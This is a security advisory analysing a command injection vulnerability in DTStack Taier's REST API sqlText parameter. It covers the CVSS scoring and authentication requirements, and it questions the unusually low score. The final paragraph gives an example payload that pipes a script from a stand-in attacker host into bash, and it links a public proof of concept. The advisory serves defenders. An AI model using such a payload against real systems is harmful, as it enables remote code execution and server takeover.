DTStack Taier EUVD-2026-31645

Authentication is required: the CVSS vector specifies PR:L (low-privileged), meaning an attacker must possess at minimum a valid low-privilege account on the Taier platform - unauthenticated exploitation is NOT possible based on available data. The specific vulnerable surface is the sqlText parameter within the Taier REST API, processed by the Runtime.exec() function; this feature must be reachable (i.e., the REST API endpoint must be network-accessible). No additional attack requirements exist (AT:N) - no special configuration, secondary vulnerability, or timing condition is needed beyond valid credentials and network access. Exploitation is constrained by the authentication barrier (confirmed by SSVC Automatable: no), limiting opportunistic mass scanning attacks. The low CVSS impact scores (VC:L/VI:L/VA:L) suggest the Taier process may run in a restricted OS context, limiting post-exploitation capability, but the exact execution privilege level is not specified in available data and should be verified per deployment.

Multiple signals present a mixed risk picture that warrants careful interpretation. The CVSS 4.0 base score of 2.1 is anomalously low for a CWE-78 command injection finding - typically one of the most severe vulnerability classes. The vector (AV:N/AC:L/AT:N/PR:L/UI:N) confirms remote, low-complexity access with no attack requirements, but the impact metrics (VC:L/VI:L/VA:L; SC:N/SI:N/SA:N) cap all confidentiality, integrity, and availability impact at 'Low' with no downstream scope change. This likely reflects a restricted OS execution context (e.g., containerized or low-privilege service account) rather than a full-system compromise scenario, but this is inferred - not confirmed by the vendor. IMPORTANT DISCREPANCY: A network-reachable command injection vulnerability scored at 2.1 with only partial impact is inconsistent with typical CWE-78 outcomes; security teams should independently verify the privilege level of the Taier service account before accepting this score at face value. EPSS at 0.84% (75th percentile) indicates moderate exploitation likelihood relative to the broader CVE population - not negligible. The SSVC determination of Automatable: no reflects the PR:L authentication barrier, limiting mass exploitation. A public POC exists (E:P in CVSS), elevating practical risk above theoretical. KEV status is not confirmed - this is not classified as actively exploited by CISA at time of analysis.

An attacker who has obtained low-privilege credentials to the Taier platform - for example, through credential stuffing, phishing, or reused passwords - sends a crafted REST API request with a sqlText value containing injected shell commands such as ; curl attacker.com/shell.sh | bash. The Taier backend passes this string directly to Runtime.exec(), causing the server OS to execute the attacker's payload. The public POC at https://github.com/fakebug111/my_public_bug/blob/main/issus02.md demonstrates the exploitation technique.